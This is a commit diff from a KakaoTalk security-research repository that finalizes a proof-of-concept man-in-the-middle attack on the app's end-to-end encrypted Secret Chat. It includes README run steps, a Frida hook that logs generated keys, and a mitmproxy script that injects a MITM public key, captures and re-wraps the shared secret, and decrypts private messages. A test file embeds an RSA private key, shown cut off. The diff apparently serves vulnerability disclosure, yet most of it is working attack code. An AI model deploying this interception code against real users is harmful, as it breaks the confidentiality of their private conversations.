mirror of
https://github.com/stulle123/kakaotalk_analysis.git
synced 2025-05-06 19:46:24 +00:00
Finalize Secret Chat MITM scripts
This commit is contained in:
parent
f704b2928e
commit
306ff798cd
|
@ -6,7 +6,7 @@
|
|||
|
||||
We've created a simple script to man-in-the-middle *Secret Chat* communications with `Frida` and `mitmproxy`. It demonstrates a well-known server-side attack in which the operator (i.e. KakaoTalk) can spoof a client's public key to intercept and read E2E encrypted chat messages.
|
||||
|
||||
After the MITM attack there's no immediate warning message in the chat. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected.
|
||||
After the MITM attack there's no immediate warning message that is prompted to the user. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected.
|
||||
|
||||
This is how one can run the PoC:
|
||||
|
||||
|
@ -14,21 +14,25 @@ This is how one can run the PoC:
|
|||
- Wipe all entries in the `public_key_info` and `secret_key_info` tables from the `KakaoTalk.db` database
|
||||
- Start `mitmproxy`: `$ mitmdump -m wireguard -s mitm_secret_chat.py`
|
||||
- Start `Frida`: `$ frida -U -l loco-tracer.js -f com.kakao.talk`
|
||||
- Create new *Secret Chat* room in KakaoTalk app and sent a message
|
||||
- Create new *Secret Chat* room in the KakaoTalk app and send a message
|
||||
- View message in `mitmproxy` terminal window
|
||||
|
||||
How it works:
|
||||
|
||||
- Server-side `GETLPK` packet gets intercepted -> Inject MITM public key
|
||||
- Server-side `SCREATE` packet gets intercepted -> Remove already existing shared secret (if any)
|
||||
- Server-side `SCREATE` packet gets intercepted -> Remove an already existing shared secret (if any)
|
||||
- Sender sends a `SETSK` packet -> `mitmproxy` script grabs shared secret and re-encrypts it with the recipient's original public key
|
||||
- Using the shared secret, the script computes the E2E encryption key
|
||||
- `MSG` and `SWRITE` packets are decrypted and dumped in the `mitmproxy` terminal
|
||||
|
||||
Known issues:
|
||||
Known issues / TODOs:
|
||||
|
||||
- Malformed `SCREATE` packets lead to parsing errors -> work-around: restart the script and try again :wink:
|
||||
- Sometimes the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink:
|
||||
- Mitmproxy splits large `SCREATE` packets into multiple messages. There's no built-in packet reassembly. As such, fragmented `SCREATE` packets lead to parsing errors -> work-around:
|
||||
- Delete the Secret Chat chatroom and delete all rows from the `public_key_info` and `secret_key_info` tables in the `KakaoTalk.db` database
|
||||
- Restart the mitmproxy and Frida scripts
|
||||
- Create a new chatroom. Also try to create a new chatroom with a different friend.
|
||||
- If the MITM public key can't be injected, the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink:
|
||||
- The removal of server-side stored shared secrets doesn't seem to work in some cases (flaky)
|
||||
|
||||
Android implementation specifics:
|
||||
|
||||
|
@ -39,11 +43,9 @@ Android implementation specifics:
|
|||
|
||||
TO-DOS:
|
||||
|
||||
- How to attack an already existing E2E chat room?
|
||||
- Check public key fingerprints if they have changed
|
||||
- Reinstall the app and check whether a warning shows up
|
||||
- What about the master secret? -> Remove it!
|
||||
- Test CFB bit flipping
|
||||
- How are the msgId and chatId generated? -> nonce for CTR mode!
|
||||
|
||||
Demo:
|
||||
|
||||
|
|
|
@ -570,7 +570,9 @@ function hookKeyGeneratorGenerateKey() {
|
|||
if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) {
|
||||
console.log("[KeyGenerator.generateKey()]: Object: " + tmp);
|
||||
console.log("Caller: " + caller.getFileName());
|
||||
dumpByteArray("[KeyGenerator.generateKey()]: Key", encodedKey);
|
||||
// dumpByteArray("[KeyGenerator.generateKey()]: Key", encodedKey);
|
||||
var base64_key = Java.use("android.util.Base64").encodeToString(encodedKey, 0);
|
||||
console.log("Generated key: " + base64_key);
|
||||
if (printStacktrace) {
|
||||
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
|
||||
console.log(stacktrace);
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
import math
|
||||
import re
|
||||
|
||||
from cryptography.hazmat.primitives import hashes, hmac, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
|
@ -41,6 +42,19 @@ def get_rsa_public_key_pem(key_pair):
|
|||
)
|
||||
|
||||
|
||||
def get_clean_public_key(key_pair) -> str:
|
||||
mitm_public_key_pem = get_rsa_public_key_pem(key_pair).decode("utf-8")
|
||||
header = "-----BEGIN PUBLIC KEY-----"
|
||||
footer = "-----END PUBLIC KEY-----"
|
||||
pattern = re.compile(
|
||||
f"{header}|{footer}",
|
||||
re.MULTILINE,
|
||||
)
|
||||
mitm_public_key_cleaned = pattern.sub("", mitm_public_key_pem).replace("\n", "")
|
||||
|
||||
return mitm_public_key_cleaned
|
||||
|
||||
|
||||
def rsa_encrypt(plaintext: bytes, public_key_pem: str, add_header_footer: bool = False):
|
||||
if add_header_footer:
|
||||
header = "-----BEGIN RSA PUBLIC KEY-----\n"
|
||||
|
@ -72,6 +86,11 @@ def rsa_decrypt(ciphertext: bytes, key_pair) -> bytes:
|
|||
return plaintext
|
||||
|
||||
|
||||
def get_e2e_encryption_key(shared_secret: bytes):
|
||||
salt = b"53656372657443686174526f6f6d4b6579"
|
||||
return compute_key(shared_secret, salt, 32)
|
||||
|
||||
|
||||
def compute_key(shared_secret: bytes, salt: bytes, length):
|
||||
kdf = PBKDF2HMAC(algorithm=hashes.SHA1(), length=length, salt=salt, iterations=2048)
|
||||
key = kdf.derive(shared_secret)
|
||||
|
@ -84,6 +103,7 @@ def compute_hmac(key, message):
|
|||
return h.finalize()
|
||||
|
||||
|
||||
# Code taken from KakaoTalk 10.4.3 Android sources
|
||||
def byte_juggling_1(i, i2, b_arr):
|
||||
z = i <= i2
|
||||
|
||||
|
@ -102,6 +122,7 @@ def byte_juggling_1(i, i2, b_arr):
|
|||
return None
|
||||
|
||||
|
||||
# Code taken from KakaoTalk 10.4.3 Android sources
|
||||
def byte_juggling_2(b_arr, b_arr2):
|
||||
length = len(b_arr2)
|
||||
|
||||
|
@ -119,6 +140,7 @@ def byte_juggling_2(b_arr, b_arr2):
|
|||
return b_arr4
|
||||
|
||||
|
||||
# Code taken from KakaoTalk 10.4.3 Android sources
|
||||
def compute_nonce(shared_secret: bytes, message_id):
|
||||
message_id_bytes = message_id.to_bytes(8, "little")
|
||||
salt_1 = b"53656372657443686174526f6f6d4b6579" # SecretChatRoomKey
|
||||
|
|
|
@ -1,132 +1,13 @@
|
|||
import base64
|
||||
import io
|
||||
import logging
|
||||
import re
|
||||
import struct
|
||||
|
||||
import bson
|
||||
from lib.crypto_utils import (
|
||||
aes_decrypt,
|
||||
aes_e2e_decrypt,
|
||||
aes_encrypt,
|
||||
compute_key,
|
||||
compute_nonce,
|
||||
get_rsa_public_key_pem,
|
||||
rsa_decrypt,
|
||||
rsa_encrypt,
|
||||
)
|
||||
|
||||
|
||||
class LocoPacket:
|
||||
def __init__(
|
||||
self,
|
||||
identifier=0,
|
||||
status_code=0,
|
||||
loco_command="",
|
||||
body_type=0,
|
||||
body_length=0,
|
||||
body_payload=b"",
|
||||
):
|
||||
self.id = identifier
|
||||
self.status_code = status_code
|
||||
self.loco_command = loco_command
|
||||
self.body_type = body_type
|
||||
self.body_length = body_length
|
||||
self.body_payload = body_payload
|
||||
|
||||
def get_packet_bytes(self) -> bytes:
|
||||
try:
|
||||
f = io.BytesIO()
|
||||
f.write(struct.pack("<I", self.id))
|
||||
f.write(struct.pack("<H", self.status_code))
|
||||
f.write(self.loco_command.encode("utf-8"))
|
||||
f.write(b"\x00" * (11 - len(self.loco_command)))
|
||||
f.write(struct.pack("<b", self.body_type))
|
||||
f.write(struct.pack("<i", self.body_length))
|
||||
f.write(self.body_payload)
|
||||
return f.getvalue()
|
||||
except Exception as general_exception:
|
||||
logging.error("Could not create LOCO packet: %s", general_exception)
|
||||
return None
|
||||
|
||||
def get_packet_as_dict(self) -> dict:
|
||||
loco_dict = vars(self)
|
||||
|
||||
try:
|
||||
if loco_dict["body_payload"] and isinstance(
|
||||
loco_dict["body_payload"], bytes
|
||||
):
|
||||
loco_dict["body_payload"] = bson.loads(self.body_payload)
|
||||
elif loco_dict["body_payload"] and isinstance(
|
||||
loco_dict["body_payload"], dict
|
||||
):
|
||||
loco_dict["body_payload"] = self.body_payload
|
||||
except Exception as general_exception:
|
||||
loco_dict = {}
|
||||
logging.error(
|
||||
"Couldn't decode BSON body of packet %s: %s",
|
||||
self.loco_command,
|
||||
general_exception,
|
||||
)
|
||||
|
||||
return loco_dict
|
||||
|
||||
|
||||
class LocoEncryptedPacket:
|
||||
def __init__(self, length=0, iv=b"", payload=b""):
|
||||
self.length = length
|
||||
self.iv = iv
|
||||
self.payload = payload
|
||||
|
||||
def create_new_packet(self, loco_packet: LocoPacket) -> bytes:
|
||||
if not loco_packet:
|
||||
logging.error(
|
||||
"Could not create LOCO encrypted packet: LOCO packet data is None."
|
||||
)
|
||||
return None
|
||||
|
||||
encrypted_packet = aes_encrypt(loco_packet.get_packet_bytes(), self.iv)
|
||||
|
||||
if not encrypted_packet:
|
||||
logging.error("Could not encrypt LOCO packet.")
|
||||
return None
|
||||
|
||||
try:
|
||||
f = io.BytesIO()
|
||||
f.write(struct.pack("<I", len(encrypted_packet) + len(self.iv)))
|
||||
f.write(self.iv)
|
||||
f.write(encrypted_packet)
|
||||
return f.getvalue()
|
||||
except Exception as general_exception:
|
||||
logging.error(
|
||||
"Could not create LOCO encrypted packet: %s", general_exception
|
||||
)
|
||||
return None
|
||||
|
||||
def get_packet_bytes(self) -> bytes:
|
||||
try:
|
||||
f = io.BytesIO()
|
||||
f.write(struct.pack("<I", len(self.payload) + len(self.iv)))
|
||||
f.write(self.iv)
|
||||
f.write(self.payload)
|
||||
return f.getvalue()
|
||||
except Exception as general_exception:
|
||||
logging.error(
|
||||
"Could not convert LOCO encrypted packet to bytes: %s",
|
||||
general_exception,
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
class LocoHandshakePacket:
|
||||
def __init__(self, length=256, handshake_type=0, block_cipher_mode=0, payload=b""):
|
||||
self.length = length
|
||||
self.type = handshake_type
|
||||
self.block_cipher_mode = block_cipher_mode
|
||||
self.payload = payload
|
||||
|
||||
self.cipher_mode_map = {1: "CBC", 2: "AES/CFB/NoPadding", 3: "OFB"}
|
||||
self.encryption_mode_map = {15: "RSA/NONE/OAEPWithSHA1AndMGF1Padding"}
|
||||
from lib.crypto_utils import (aes_decrypt, aes_e2e_decrypt, compute_nonce,
|
||||
get_clean_public_key, rsa_decrypt, rsa_encrypt)
|
||||
from lib.loco_packet import (LocoEncryptedPacket, LocoHandshakePacket,
|
||||
LocoPacket)
|
||||
|
||||
|
||||
class LocoParser:
|
||||
|
@ -147,6 +28,7 @@ class LocoParser:
|
|||
body_type = struct.unpack("<b", data[17:18])[0]
|
||||
body_length = struct.unpack("<i", data[18:22])[0]
|
||||
body_payload = data[22:]
|
||||
|
||||
return LocoPacket(
|
||||
identifier,
|
||||
status_code,
|
||||
|
@ -160,6 +42,7 @@ class LocoParser:
|
|||
"Couldn't parse LOCO packet: %s \nAre you running Frida in parallel to patch the AES key?",
|
||||
general_exception,
|
||||
)
|
||||
|
||||
return None
|
||||
|
||||
def parse_loco_encrypted_packet(self, data):
|
||||
|
@ -171,7 +54,13 @@ class LocoParser:
|
|||
length = struct.unpack("<I", data[0:4])[0]
|
||||
iv = data[4:20]
|
||||
payload = data[20:]
|
||||
return LocoEncryptedPacket(length, iv, payload)
|
||||
|
||||
if length > (len(data) - 4):
|
||||
is_fragmented = True
|
||||
else:
|
||||
is_fragmented = False
|
||||
|
||||
return LocoEncryptedPacket(length, iv, payload, is_fragmented)
|
||||
except Exception as general_exception:
|
||||
logging.error("Couldn't parse LOCO encrypted packet: %s", general_exception)
|
||||
return None
|
||||
|
@ -210,18 +99,18 @@ class LocoParser:
|
|||
|
||||
body_json = self.loco_packet.body_payload
|
||||
|
||||
# MSG LOCO packet
|
||||
# Read message from "MSG" LOCO packet
|
||||
if (
|
||||
"chatLog" in body_json
|
||||
and body_json["chatLog"]["message"] == trigger_message
|
||||
):
|
||||
body_json["chatLog"]["message"] = payload
|
||||
|
||||
# WRITE LOCO packet
|
||||
# Read message from "WRITE" LOCO packet
|
||||
if "msg" in body_json and body_json["msg"] == trigger_message:
|
||||
body_json["msg"] = payload
|
||||
|
||||
# LOGINLIST LOCO packet
|
||||
# Read message from "LOGINLIST" LOCO packet
|
||||
if "chatDatas" in body_json and body_json["chatDatas"]:
|
||||
if (
|
||||
"l" in body_json["chatDatas"][0]
|
||||
|
@ -263,22 +152,10 @@ class LocoParser:
|
|||
self.loco_encrypted_packet.payload = bytes(ciphertext)
|
||||
return self.loco_encrypted_packet.get_packet_bytes()
|
||||
|
||||
def get_clean_public_key(self, key_pair) -> str:
|
||||
mitm_public_key_pem = get_rsa_public_key_pem(key_pair).decode("utf-8")
|
||||
header = "-----BEGIN PUBLIC KEY-----"
|
||||
footer = "-----END PUBLIC KEY-----"
|
||||
pattern = re.compile(
|
||||
f"{header}|{footer}",
|
||||
re.MULTILINE,
|
||||
)
|
||||
mitm_public_key_cleaned = pattern.sub("", mitm_public_key_pem).replace("\n", "")
|
||||
|
||||
return mitm_public_key_cleaned
|
||||
|
||||
def inject_public_key(self, key_pair):
|
||||
if not self.loco_packet:
|
||||
logging.error("LOCO packet data is None.")
|
||||
return (None, None, None)
|
||||
return (None, None)
|
||||
|
||||
if isinstance(self.loco_packet.body_payload, bytes):
|
||||
self.loco_packet.body_payload = bson.loads(self.loco_packet.body_payload)
|
||||
|
@ -289,33 +166,31 @@ class LocoParser:
|
|||
"SCREATE",
|
||||
"CHATONROOM",
|
||||
}:
|
||||
return (None, None, None)
|
||||
return (None, None)
|
||||
|
||||
if not self.loco_packet.body_payload.get("pi"):
|
||||
logging.error(
|
||||
"LOCO packet %s doesn't contain dictionary key 'pi'.",
|
||||
logging.warning(
|
||||
"There's no public key in %s packet. No need to replace it.",
|
||||
self.loco_packet.loco_command,
|
||||
)
|
||||
return (None, None, None)
|
||||
return (None, None)
|
||||
|
||||
mitm_public_key_cleaned = self.get_clean_public_key(key_pair)
|
||||
mitm_public_key_cleaned = get_clean_public_key(key_pair)
|
||||
|
||||
# logging.info("MITM public key: %s", mitm_public_key_cleaned)
|
||||
|
||||
original_public_key = self.loco_packet.body_payload["pi"][0]["ek"]
|
||||
user_id = self.loco_packet.body_payload["pi"][0]["u"]
|
||||
self.loco_packet.body_payload["pi"][0]["ek"] = mitm_public_key_cleaned
|
||||
|
||||
if not len(original_public_key) == len(mitm_public_key_cleaned):
|
||||
logging.error("Original and MITM public key don't have the same length!")
|
||||
return (None, None, None)
|
||||
return (None, None)
|
||||
|
||||
self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
|
||||
self.loco_packet.body_length = len(self.loco_packet.body_payload)
|
||||
|
||||
return (
|
||||
original_public_key.encode(),
|
||||
user_id,
|
||||
self.loco_encrypted_packet.create_new_packet(self.loco_packet),
|
||||
)
|
||||
|
||||
|
@ -332,7 +207,7 @@ class LocoParser:
|
|||
|
||||
if self.loco_packet.body_payload.get("si"):
|
||||
logging.warning(
|
||||
"Removing stored shared secret from %s packet.",
|
||||
"Removing stored shared secret from %s packet...",
|
||||
self.loco_packet.loco_command,
|
||||
)
|
||||
self.loco_packet.body_payload.pop("si")
|
||||
|
@ -342,10 +217,6 @@ class LocoParser:
|
|||
|
||||
return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
|
||||
|
||||
def get_e2e_encryption_key(self, shared_secret: bytes):
|
||||
salt = b"53656372657443686174526f6f6d4b6579"
|
||||
return compute_key(shared_secret, salt, 32)
|
||||
|
||||
def get_shared_secret(self, rsa_key_pair) -> bytes:
|
||||
shared_secret = None
|
||||
|
||||
|
@ -429,7 +300,7 @@ class LocoParser:
|
|||
msg_id = self.loco_packet.body_payload["chatLog"]["msgId"]
|
||||
chat_id = self.loco_packet.body_payload["chatId"]
|
||||
|
||||
# KakaoTalk uses either the msgId or chatId to compute the nonce
|
||||
# KakaoTalk uses either the msgId or chatId as an input seed to compute the nonce
|
||||
nonce_with_msg_id = compute_nonce(shared_secret, msg_id)
|
||||
nonce_with_chat_id = compute_nonce(shared_secret, chat_id)
|
||||
|
||||
|
|
|
@ -1,21 +1,20 @@
|
|||
import base64
|
||||
import logging
|
||||
|
||||
from lib.crypto_utils import get_rsa_key_pair
|
||||
from lib.crypto_utils import get_e2e_encryption_key, get_rsa_key_pair
|
||||
from lib.loco_parser import LocoParser
|
||||
from mitmproxy import connection, tcp, tls
|
||||
from mitmproxy.utils import human, strutils
|
||||
|
||||
|
||||
class LocoMitmBase:
|
||||
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
|
||||
def __init__(self, rsa_key_pair) -> None:
|
||||
self.parser = LocoParser()
|
||||
self.rsa_key_pair = rsa_key_pair
|
||||
self.recipient_user_id = 0
|
||||
self.recipient_public_key = b""
|
||||
self.shared_secret = b""
|
||||
self.master_secret = master_secret
|
||||
self.e2e_encryption_key = test_key
|
||||
self.e2e_encryption_key = b""
|
||||
self.cached_packet = b""
|
||||
|
||||
@staticmethod
|
||||
def get_addr(server: connection.Server):
|
||||
|
@ -30,7 +29,7 @@ class LocoMitmBase:
|
|||
class SecretChatMitm(LocoMitmBase):
|
||||
def compute_e2e_encryption_key(self, shared_secret):
|
||||
if not self.e2e_encryption_key:
|
||||
self.e2e_encryption_key = self.parser.get_e2e_encryption_key(shared_secret)
|
||||
self.e2e_encryption_key = get_e2e_encryption_key(shared_secret)
|
||||
logging.warning(
|
||||
"Shared secret: %s E2E encryption key: %s",
|
||||
shared_secret,
|
||||
|
@ -39,7 +38,24 @@ class SecretChatMitm(LocoMitmBase):
|
|||
|
||||
def tcp_message(self, flow: tcp.TCPFlow):
|
||||
message = flow.messages[-1]
|
||||
self.parser.parse(message.content)
|
||||
|
||||
# Flaky way to reassemble fragmented LOCO packets
|
||||
# TODO: Fix this.
|
||||
if self.cached_packet:
|
||||
logging.warning("Trying to reassemble LOCO packet...")
|
||||
self.parser.parse(self.cached_packet + message.content)
|
||||
self.cached_packet = b""
|
||||
else:
|
||||
self.parser.parse(message.content)
|
||||
|
||||
if self.parser.loco_encrypted_packet.is_fragmented:
|
||||
self.cached_packet = message.content
|
||||
logging.warning(
|
||||
"%s packet is fragmented. Dropping it...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
message.content = b""
|
||||
return
|
||||
|
||||
# Log LOCO packets to STDOUT
|
||||
if self.parser.loco_packet:
|
||||
|
@ -58,15 +74,6 @@ class SecretChatMitm(LocoMitmBase):
|
|||
)
|
||||
return
|
||||
|
||||
# Drop LOCO packets that can't be decoded
|
||||
if not decoded_loco_packet:
|
||||
logging.warning(
|
||||
"Dropping %s packet as we cannot decode the packet body.",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
message.content = b""
|
||||
return
|
||||
|
||||
# If there's already a shared secret stored on the server-side remove it
|
||||
if (
|
||||
not self.e2e_encryption_key
|
||||
|
@ -79,7 +86,7 @@ class SecretChatMitm(LocoMitmBase):
|
|||
):
|
||||
if isinstance(self.parser.loco_packet.body_payload, bytes):
|
||||
logging.warning(
|
||||
"Dropping %s packet as we cannot decode the packet body.",
|
||||
"Dropping %s packet as we cannot decode the packet body...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
message.content = b""
|
||||
|
@ -92,29 +99,24 @@ class SecretChatMitm(LocoMitmBase):
|
|||
self.parser.parse(message.content)
|
||||
|
||||
# Drop server-side "SETSK" LOCO packets
|
||||
if (
|
||||
not self.e2e_encryption_key
|
||||
and not message.from_client
|
||||
and self.parser.loco_packet.loco_command == "SETSK"
|
||||
):
|
||||
logging.warning("Dropping server-side SETSK packet.")
|
||||
if not message.from_client and self.parser.loco_packet.loco_command == "SETSK":
|
||||
logging.warning("Dropping server-side SETSK packet...")
|
||||
message.content = b""
|
||||
return
|
||||
|
||||
# Get recipient's public key and replace it with our MITM public key
|
||||
if (
|
||||
not self.e2e_encryption_key
|
||||
and not message.from_client
|
||||
and self.parser.loco_packet.loco_command
|
||||
in {"GETPK", "GETLPK", "SCREATE", "CHATONROOM"}
|
||||
):
|
||||
if not message.from_client and self.parser.loco_packet.loco_command in {
|
||||
"GETPK",
|
||||
"GETLPK",
|
||||
"SCREATE",
|
||||
"CHATONROOM",
|
||||
}:
|
||||
logging.warning(
|
||||
"Trying to parse recipient's public key from %s packet...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
(
|
||||
recipient_public_key,
|
||||
self.recipient_user_id,
|
||||
tampered_packet,
|
||||
) = self.parser.inject_public_key(self.rsa_key_pair)
|
||||
|
||||
|
@ -127,13 +129,6 @@ class SecretChatMitm(LocoMitmBase):
|
|||
else:
|
||||
self.recipient_public_key = recipient_public_key
|
||||
|
||||
if not self.recipient_user_id:
|
||||
logging.error(
|
||||
"Could not parse recipient user ID from %s packet.",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
return
|
||||
|
||||
if not tampered_packet:
|
||||
logging.error(
|
||||
"Could not create a fake %s packet.",
|
||||
|
@ -145,13 +140,13 @@ class SecretChatMitm(LocoMitmBase):
|
|||
"Injecting MITM public key into %s packet...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
|
||||
message.content = tampered_packet
|
||||
# logging.info("Tampered packet: %s", self.parser.loco_packet.get_packet_as_dict())
|
||||
return
|
||||
|
||||
# Grab the shared secret from the "SETSK" packet
|
||||
if (
|
||||
self.recipient_public_key
|
||||
and not self.e2e_encryption_key
|
||||
and message.from_client
|
||||
and self.parser.loco_packet.loco_command == "SETSK"
|
||||
):
|
||||
|
@ -160,9 +155,9 @@ class SecretChatMitm(LocoMitmBase):
|
|||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
|
||||
shared_secret = self.parser.get_shared_secret(self.rsa_key_pair)
|
||||
shared_secret_encoded = self.parser.get_shared_secret(self.rsa_key_pair)
|
||||
|
||||
if not shared_secret:
|
||||
if not shared_secret_encoded:
|
||||
logging.error(
|
||||
"Couldn't decrypt shared secret from %s packet. Dropping it...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
|
@ -170,7 +165,7 @@ class SecretChatMitm(LocoMitmBase):
|
|||
message.content = b""
|
||||
return
|
||||
|
||||
self.shared_secret = shared_secret
|
||||
self.shared_secret = shared_secret_encoded
|
||||
logging.warning("Shared secret: %s", self.shared_secret)
|
||||
|
||||
# Re-encrypt shared secret with the recipient's original public key
|
||||
|
@ -187,31 +182,29 @@ class SecretChatMitm(LocoMitmBase):
|
|||
)
|
||||
|
||||
# Compute E2E encryption key
|
||||
if not self.e2e_encryption_key and self.shared_secret:
|
||||
if self.shared_secret:
|
||||
self.compute_e2e_encryption_key(self.shared_secret)
|
||||
|
||||
if not self.e2e_encryption_key and self.master_secret:
|
||||
self.compute_e2e_encryption_key(self.master_secret)
|
||||
|
||||
# Decrypt Secret Chat end-to-end encrypted message
|
||||
if self.e2e_encryption_key and (
|
||||
(message.from_client and self.parser.loco_packet.loco_command == "SWRITE")
|
||||
or (
|
||||
not message.from_client
|
||||
and self.parser.loco_packet.loco_command == "MSG"
|
||||
if (
|
||||
self.e2e_encryption_key
|
||||
and self.shared_secret
|
||||
and (
|
||||
(
|
||||
message.from_client
|
||||
and self.parser.loco_packet.loco_command == "SWRITE"
|
||||
)
|
||||
or (
|
||||
not message.from_client
|
||||
and self.parser.loco_packet.loco_command == "MSG"
|
||||
)
|
||||
)
|
||||
):
|
||||
logging.warning("Trying to decrypt Secret Chat message...")
|
||||
decrypted_e2e_message = ""
|
||||
|
||||
if self.master_secret:
|
||||
decrypted_e2e_message = self.parser.get_decrypted_e2e_message(
|
||||
self.e2e_encryption_key, self.master_secret
|
||||
)
|
||||
elif self.shared_secret:
|
||||
decrypted_e2e_message = self.parser.get_decrypted_e2e_message(
|
||||
self.e2e_encryption_key, self.shared_secret
|
||||
)
|
||||
decrypted_e2e_message = self.parser.get_decrypted_e2e_message(
|
||||
self.e2e_encryption_key, self.shared_secret
|
||||
)
|
||||
|
||||
if decrypted_e2e_message:
|
||||
logging.warning(
|
||||
|
|
Binary file not shown.
|
@ -1,13 +1,12 @@
|
|||
import base64
|
||||
from pathlib import Path
|
||||
from typing import Final
|
||||
|
||||
import pytest
|
||||
import ruamel.yaml
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding
|
||||
from lib.crypto_utils import get_rsa_public_key_pem, rsa_decrypt, rsa_encrypt
|
||||
from lib.loco_parser import LocoEncryptedPacket, LocoPacket, LocoParser
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from lib.crypto_utils import rsa_decrypt
|
||||
from lib.loco_packet import LocoEncryptedPacket, LocoPacket
|
||||
from lib.loco_parser import LocoParser
|
||||
|
||||
yaml = ruamel.yaml.YAML(typ="safe", pure=True)
|
||||
|
||||
|
@ -64,17 +63,18 @@ _LOCO_PACKETS_YAML: Final = [
|
|||
"syncmsg_packet_server.yaml",
|
||||
]
|
||||
_IV: Final = 16 * b"\x00"
|
||||
_KAKAOTALK_RSA_PUBLIC_KEY: Final = b"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9itiCdmMHYWJXq4GE0Xm\ncYy2/ifVv7lYZgPkqw2hjhhhPRYBGchuWUrWynqK0lQODvRIOyM3Q9khv8CPKss2\nipkBbQ4HHRSmpR346TbMQrTUjUCDSSfyY8Awy+DjGzWfn46uY0sHutP6wbGNhlmq\nc8mLP1mjAePYXE3QL1o1oWxhMqyRNY/RSrYMnqowt4u1/Fb3TVQ99uq6q7GkSWJC\nW+ALzx8eTHqnDUl7VqIS0EfNrHsExaR8m5HubWjfg8ZGX4+NNd9kNEINXTVfAcGH\nZ6XuMT1bdeW/F3IbAslbfH7Uj3LRTQhZ8iDzG19DIQy73s/IajPmQllFJaDdIr/w\nFQIDAQAB"
|
||||
_ORIGINAL_RECIPIENT_PUBLIC_KEY: Final = b"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9itiCdmMHYWJXq4GE0Xm\ncYy2/ifVv7lYZgPkqw2hjhhhPRYBGchuWUrWynqK0lQODvRIOyM3Q9khv8CPKss2\nipkBbQ4HHRSmpR346TbMQrTUjUCDSSfyY8Awy+DjGzWfn46uY0sHutP6wbGNhlmq\nc8mLP1mjAePYXE3QL1o1oWxhMqyRNY/RSrYMnqowt4u1/Fb3TVQ99uq6q7GkSWJC\nW+ALzx8eTHqnDUl7VqIS0EfNrHsExaR8m5HubWjfg8ZGX4+NNd9kNEINXTVfAcGH\nZ6XuMT1bdeW/F3IbAslbfH7Uj3LRTQhZ8iDzG19DIQy73s/IajPmQllFJaDdIr/w\nFQIDAQAB"
|
||||
_SHARED_SECRET: Final = b"SHARED_SECRET"
|
||||
_SHARED_SECRET_ENCODED: Final = base64.b64encode(_SHARED_SECRET)
|
||||
|
||||
|
||||
def get_rsa_2048_key_pair():
|
||||
def get_mitm_rsa_2048_key_pair():
|
||||
key_pair_pem = b"-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQD2K2IJ2YwdhYle\nrgYTReZxjLb+J9W/uVhmA+SrDaGOGGE9FgEZyG5ZStbKeorSVA4O9Eg7IzdD2SG/\nwI8qyzaKmQFtDgcdFKalHfjpNsxCtNSNQINJJ/JjwDDL4OMbNZ+fjq5jSwe60/rB\nsY2GWapzyYs/WaMB49hcTdAvWjWhbGEyrJE1j9FKtgyeqjC3i7X8VvdNVD326rqr\nsaRJYkJb4AvPHx5MeqcNSXtWohLQR82sewTFpHybke5taN+DxkZfj40132Q0Qg1d\nNV8BwYdnpe4xPVt15b8XchsCyVt8ftSPctFNCFnyIPMbX0MhDLvez8hqM+ZCWUUl\noN0iv/AVAgMBAAECggEAMUOqWZVHZKsSPDfwcE/3V7cU8hUPwlA54CScUR0nvTOk\n1iA+tSW267i99oSCnqgCrjx17hvUlgfwqJrFLAfCEQeg0O3TP58f4IB4jVeRljHx\nLZmBDJVpfUv7l/mYCZx4JurbfHSKBfohPz0kuQPdyFFHxDRQmnK6HHLYHHndrMGK\nzmuH+DigjPy2WIJvuWnMQE6kMnIdncHu6PpuZb8syryYQSWEgXUeUL96CHdhNwNk\nayXWRli6uqVM9yBYPUHU11V7LrZYoFp3T1P81Gd+SVSUfMumS37l18q7fZXbrRr8\nsRWes75cwulp5KZsmsQVBaMbl4Dm3iClDJ5nSqpPIQKBgQD/FnftIGnKuiSX382J\nJdGHzR2XkYHiiL/zZEkLAT+5NjJRS6UNeK5o/M1L6boPycvytzJmH0jV0sC3X4SY\n7XOGXnmJmnzG2zxDrdge+j+KGJ3i0eTdQBE8+kC1NUCZHSEYRN4MZEzHfAHop5NF\nIaHBbDnqHOudomrb4DrIow6/5QKBgQD3DL/1jK4qIrryWuPzN7cpWft6vwHG7t+q\nnf9a9tjZ5gec/I6TvbM0Qj4ok005NjwUI1BhR2OGoSd/Axd59Xx4P+Q4mNPiysRi\n+ItmQlnV3U6l1m2A2iznF1/2127pQT7NUfaDoX9MNSOzLCCGBWqSktP+FhLD8csU\nHWLNelyMcQKBgA1LxoR9pAYFHdMsvzHe3sUNU/WKiBKeviKZn5ULQ58LzCOgpcHG\nAJFIXAsQ67nW8uJ72gyopMtAaPsl52txNQxT8FHT050p4EJG1XUH5jf0gIZKGnvN\n0xgykxze4bcZZZg2Pry2nanoNNFDqtF3p07FrV8ekslspdVAItBCb4